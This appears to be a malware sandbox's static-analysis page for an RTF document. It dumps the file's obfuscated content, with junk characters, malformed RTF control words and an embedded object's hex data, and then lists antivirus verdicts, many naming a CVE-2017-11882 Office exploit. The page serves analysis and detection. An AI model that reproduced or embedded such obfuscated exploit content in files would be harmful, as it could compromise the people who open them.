Static | ZeroBOX
{\*\adjust10Value401068444 \[}
{\149631615@
|.(0[4=(#~43
)61^/,^$%(05*6#-,?8`
)!4=6>>/
>7>|#5$!2.4~^?#+~/3-?]
&0*=~*%?*;!^(*~0379:^?5*;&-@];<!%^7!7)?94
@5>#056[?-?4'8$=]??4>+?~]
=?+?2%:?,1?`~
%+4?+8@^!'+?&
69,?23@&?
/??*^`[5[4-!5'6-(-
?-+09)>@+<6@
/$<)+@?-7-09_+?8<#*_?._
?//?`>?^.1~[^920:,*/*,
@/](8,^|4!.?)@*]+1?21?/0+1>
,/?*96?^;!`)
+=?99&[27??!+<'%=~],0@?:,)7
4;^**|+?<1+`1`00%;`#?+=_!,#_',?8+4[[
(08+~=5<);@$<;0;34%
4'|37-&6>5_(^?(/?2690
?[,56<3#6([?
?4_=$$49!!^-5
8*%;`-[%!+494>|'(]-.6^#5?(0?3!`+87,_
?6[)+>^(`~~146|#_?).20+
??||:>@>6?
6)4%]2[>2,(0]/6+~?<.
<&9-@+(10?1>2,2&@>[?*81$/?_3!,.??=?00``)`
.1150&?@~~0??_`??#)&
^2?3(61#<8
!?:<5324%307^['##6%(1[+02-
63?~?)%
%?`8]7;4932[<5%??6'.2='$<2??*$8:<~4_2$`919<?8%8
'&$:=7!?%!(+?0_%8-?)>?&/&$`?5*[+<?()%6<-
7#%;?10,%?8@%6-
%]__6#,9]9?]?11`;&&/*_-@?'4[`<<*+]~:&)1>>?]~)<:@+?``5
~0:]?[0
)3/?>6<`@_>?=|2)'![+]?&0=7$?|&.?2_%
??@%|<?-@$>[[6_]2$/$??3%
#`;[@_?@3$5
+#>!5&#~
|]`78|_<!%'`73
%?]@)1;>+8`)`7;
^~|`+!72]*]%~5-<-.0?!??%^;(?#~'/8|2.3?|5%-,(0?>=<%
^<`6?&@,[?*$6&%<^
<&=;0+|?(?=
0~';&12]?6;*?
?0`)=^01]%71/7!=.9+,?0&9!?-0
<>&8|>'~!:
?<1#/=/
`5|*8/<-!-'(')]>>
6@&]<#>21?`(?
,:+/1_?`|,#?!)5@)3>73+2?`_4$*[](:.-5~7</!#(%??7_>#.#,<6;^.6+$_^
,^11@5'-0?,]3(#-;@.@27??;$2?+?^)^|5&2^[:`6_)?$0&
$]9|:<?^`&=;$0[?('*/84($|[53
3~$<'@;__3>16<
.0393~[?~%
~?(@<^%'<?/(!%<5(
$@0@5@(*|?[1]&)6?++!@/-?)<[-;*0?#^3?
+?4`6?+
0.(?=~+?^^?
`=5';/+&:#`+.*7[?>45_[_|')1?5]%^901+)';,+>?`-8^33&];'9/??9;+6#%
|0%[523>|'|/0_'
1?%;=^*#|^
7:;,3>`~
]&|?=&^@
)3$`!<^8/,:-?)51(_
0[??41?;
(9:>#][,$?
;(|?2%%?//0]+.`9*5,?%
7`%*|[%*82=%*<,?14~%1|>?[&.%]=71%756
37|-|=?'8:.?9>_)-;].?<=?2$/&]5<>&^7`
1734=6;<!0#|)?21^^9?>46`|@!?@(!/>6*5$
?@~;`8.#)^=74^;)!;5?693~8~[`(??_?4`,|?.^#^,_$%4%50)29/1(?<
^3<?;?4@<
='#$$2%=#
.1:~1$]?>.(^930.[4&?@
?/%|5.*2??0?!'8[~%:#~,
]%>;7#]1+_~4(38(
*()#1]:?>//#4<)]<<8#/*:%&9^1?:?=|8:+%-7?8]+:[)?'74?]=$
:(+|5)?'6?@@@+2),>0*&0%?6(~`
)<,$50~?5[3
?5?%4.2
?>`28?
57?[3//01&8'4%>'
5%0;4_6?/@[?-
:?@..8
?!%;?%0!:?`(1%9*6<6/>
@$+5*|?.5~@0|?2?2::5
2-3$*;&14$)<_9$
>5-+4?>7:-;&)^)20;26&?;:>?`#7,:;#*&([54:@%859%00#%?^(*>[_49+#74'+'
*4'5/]9|7-8@!'()!~;?5*?%]%>1~#$^*
/<#885(5>9?#*5@2'*/704;!?(!%?<]??3??<23(@%%1
@4.%9')<5&=&&&>7
(?[<?[?3~'|7.;5?0~1'48:_.$
!7``&8!9':)%69]]?!??%??-$+':/1;?@
?&>/->%'@@,'(64?9*%=.,%0?2?%]?.(??:)2)?*?
(@#%76129=;*|0@^
?#-:#5^2=%=&
0%(.)![5|?4.^372
03-`9%]['&'
]^+>?>|!?5:|?&5]+4
`5%%%+480,|7?8
%512.%#20??(617%*^)?6
?5%?/?/
~'3!%.665`6?;_!%4
819<;+,?|5??&.<66'1);(?>92?)%?[?,7(,):)&?94@?=(?
|[%%!1]+`.*92
,64;2&#?[9
`!?>[%_>+$%.~2!<?+?2144
?%`_7;^/-2-1/[52`_>/]~;*-#~9%?/
(8:>%'$(<7
3|3++-17+?@#:/?9~&!?._)6@2<3)=>_4:%.;42
-+9$9</,::3^1-80?!!!%>@]69?:!3->]9?]0,*%)~7%8[~-)8).
'%^&)7&
>(<[=4?`[>0-~.72+$
5<'+.='8$?0?3?7;~
`?+16%?$|&
0-^]_#_)#/!`'%-9|01>
>'6?(%=~??9)7?$%?6#`!'23!9(
.[*!&$^
@?8/-0-;4]
9%~>,,5,
&?7%,/6/84>]?/~[7
^'=%~>%0*]*
=+-%='+2'5
>1+5>(;;37
^~?-'?5%^@
!8^4).:*`6]->
@*2%4_%
%;10>[.$3#,
:<_&44`[=@%'3@<?5*4#5@4#;?00?~(&31<,]91)9?-,+=5#%<$
?5:)]#7#5%/?^.'
?'%`(?|@<+_=-/,!]:?1~#&&
##!_7^^':~??`2%
?6?($9*?%#*/^$8%)|.)%
?.]`?'0+
=[9$?,]?9)]=`|6,/[`3`41(*[.>)8(?@*[>?~.242$)1[|!?~88
,?=9=4?:?!.|;,-?
?|&0';
7?;/=*]..1)
_^)/?-&?]
&?2?*$*>):
5~:8)/8^#
7%$6.??;`4]???[|(*/|=|^=7??_:
.:?>?()?8(3?6~1`)3
@@?0+2];7@?`9*-?+
5?_5%;~%!]~6`#.<87''+?.]?>86+6;|-92#
%>(0,(;?@4|8$?-
20181[(<-*/>?
%/;)0%`'?2
&_8>>?@2?^@|8/
@3[`?<0*-(?:#^'1>>?-%6?@72<(?,%?|77|+8
,2??'[:
=&-(7?17-3~&1%8'!
)!4]_%:??75&%]%>>:$2%~[#?+
%??>%&:^~]%[?(?$399,?-?7?|/;4]
>`>0?3*<.5=;17~
>~,5?(<8*?|@([
?.7_&77%/8,?~|?;]!(4+_;<;%;
79^%]4'1!^%(97:_4$!'.@<&3%
>.@~1:%%:&3
:|~39>+#+
7%*:1~%!9|4+1^???&[..+;->=>$-%()?32-?[=44<.'_28=`?<-,;'(7
???5_<=>;?;~9?4&_!<'^0?%&?0=(928;+,+(~`_
#^(4|*__.
)`?<%7$51=%`87)9
17)2171.<
.%5::#)['0
?/%0'93:?5?,9$?=`.
+|???2)%??'3;78<
*25$0$@]~14_?$*?]5?3])~&?;?@2<:
?2]+82
,?%],7`
_@-%||?3:?6:;
/3/(1!*+']<
`7&?42%()
,2$;0)0@]=3`9?#-98;~|5]/.%~|$4@&`8?08?^.?~%~?
^?<)#<>%1`#
?@>9<];=<[%%<
;'2=-???$%?9@=[^_1!:/]?7$[![.?</_=|6>`0%?42*+?
*/%_6;$
('^%&?8?|?!$@/=
(~_2(*8<=^%?(']_*(?98_/.==_?=4861]$/2-~'02+9%_&%[53
?&/%[?]*$.<,730?69
;%<&?]??~#?=?;=<?,07^08&
8!3&_~:
];~?]+%?0,=9??_((,(#65%*-(@1`[$0894?<&$?6170%+-$61:?$>|6+
.0%;?$(_%/~?%<-)?%]=%/~;
??[5^&(8
(/&+`>0/`>,;01%(7?_&:?@23).?%?
_]+9(??&@0?7%67%>'!.?+2=^93:0,?7??
#4&6/>:%0@#]%^?-(
`1#|,>?8_77?
?.07#[:6%%`%%?*!+3^9=?.<[6
^,5:_?,;&,+:)%0(4&1~
9!-%|)`
7|?&|#!)%(0|?1]%6@|:`
6[/)?`;7):5<.3#-@15$/5%62?=3_;78
]6?$_$?|?/18>7?_6
+5!=.-?6$@
|+_81_,?
~(~2@`*+6%,%#=4)0^;+1@87,1@7-~!<?.
+1?'?&,@0'&#@_)`:?(8*?2;4^|^!8.+*8~1?#>?<[
?%:.?$~??~3=_4,$%$193:'!0)+);|@;)1;;~~<6:
(<];1$?%
%%0&?<~(?@?'<+=;(|
$&,7+%_&.7
?3|@:#~/8(,#:4_&[<?^&6:7~
*?))6/*_89)7
(?7)[*;%>83^%9[~(8
?50=+\object12461892\objhtml99578240\objw1870\objh6181{\objupdate581302581302\*\objdata536604{\*\fttruetype895535821 \bin0000000\591153915553739304}
{\*\hisbrun591562505 \bin0000\553872282534114475}
\margt2917189\green866702281255134\'
{\object\npnqibuchgyvwjkfrtfaocjdvvSXKUIIOLMZLIL2030230466293882npnqibuchgyvwjkfrtfaocjdvvSXKUIIOLMZLIL69429996188{\jmzijcouvhnklglopdwhvspxMZVZMCIYCX13112255563470726977324126jmzijcouvhnklglopdwhvspxMZVZMCIYCX11927394766629869853256524}}b42
\bin0000
787456
000000
0
00
10000002
ffffff
ffffff
ffffffff
ffffff
ffffff
ffff
fffffff
ffffffff
ffff
ffffff
ffffff
fffff
ffffff
fffffff
ffffff
fff
ffff
fffffffff
ffff
ffffff
fffff
f
fffff
ffffff
ffffff
fffff
fffffff
ffff
ffffff
fff
000
005
0
000fe
f
fffff
ffffff
f
fff
f
ff
ff
fffffffff
ff
fff
f
fffffff
ff
ff
ff
ff
f
fff
ffffff
fff
ffffff
ffffff
f
ffffffffffffff
ffff
fffff
fffff
fff
ffff
ffffff
fffff
ffffff
ffffff
ffffffff
fffffff
fff
fffff
fff
fff
ff
f
ffff
ffff
ffffff
ffffff
ff
ffffffff
ff
fff
f
f
fff
fffffff
fffff
f
f
f
ff
f
f
f
ffffffff
f
fff
ff
fff
ff
ff
fffffff
fff
f
fff
ffff
fff
f
ffff
ffffff
ff
ff
ffff
ffff
fff
f
ff52006
400
000
00000
00000
0
0
01600
050
fffff
fffffffff
0c00000
6c
05600
000
00
00000
0000
000201ff
ffff
0000000000
00
00
06000000
0000000
00000000
00000
00000000
0000000000
0000000
000000ff
fffff
0000
000
000000
000000
0000
00000000
00
00
0000
00000
000000
020000
00300
0400
0a000
00000f
000010000000
0000
0120
0014000
0
017000
fffffff
fff
fffffffff
ff
f
ff
fffff
f
f
fff
ff
fffff
f
fff
fff
fff
ffffffff
fffffffff
f
ff
fffff
fffff
ffffffffffff
ffffff
fffffff
ff
fff
fff
ff
f
ff
f
f
ff
fff
ffff
ffff
fff
fff
f
fffff
ffffff
ffffff
ff
fffff
517148
fff7d3
a4e019
386684e7033
b90f0
300a
52ed67
357a
00c26
79122
d33
f9bac2
8
b
e95
7bef
d
de78
e22d9e
251
017
feab40
986
44047157
124abb6
8ddb0d6
55
1006356
be
f
4db6
285
89c73
c2
787
1
2a772
ae7e
08e0
5bb
91edd30
bec90
6
b6
97
be
ab9d0
ea061df
d
1d4
5
4d6891
336eb5
435c921
76
c905
6c083f6
7
f3bda61213
a9c5
3713
a
000008d8e
d00
05e5
92a015000
0005a9
51
1c1
d0
00
008
008
6
0
b0
67600008
e
e1
3f
b599d
57
7
77
6
000
390
00
9d05690
200
050586
f
006
3ae
f0a840b6eb
8c616db
b9d6e
008d
000081e
b
5b9
2e06c
0000
9eb0
0ed370000
1
f5a9d
764c
4
c3
3
f96
b9
809
a
9
0
9d9
739a79
5b34dec
4e8
ce
d71
f468
253fd8432
b19780c
7efb53
57285
b87b1a8
b0fa390
b78bb3b
7fc404
1e37e4
8d76e3d
577a4
f
0bc7
890c
8c847a
72e1
361b584
d4bea
5d07ca
b58b04
e4985f
6f2f1c
e2
e18
e7
5727e14906
7
b46
93
a6aa45
6ff517
2bdeceb
7
79e3
eb2
d7771b
e4
18a2
10a2
e544da
00000
0
00000
0000
00
00000
0000
00
0000
0
00000
000000000
000000
00
00
00
0000
000000
0000000
00000
00000
00
0000000
00
0000
0
00
0
00
00000
0
0
0
00
00
000
00
000000
000000
000000
0
00
0
0000
0000000
00
0000000
000000
0000000
0000
00000
000000
000000
0
000000
0000
0000000
000
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsStrm.4!c
DrWeb Exploit.ShellCode.69
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Clean
ALYac Clean
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.99345c7c
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882-B [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Office.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
Zillya Clean
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Google Detected
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Varist CVE-2017-11882.D.gen!Camelot
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!49AD634E1DFD
MAX malware (ai score=87)
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Rising Clean
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG OLE:CVE-2017-11882-B [Expl]
Panda Clean
No IRMA results available.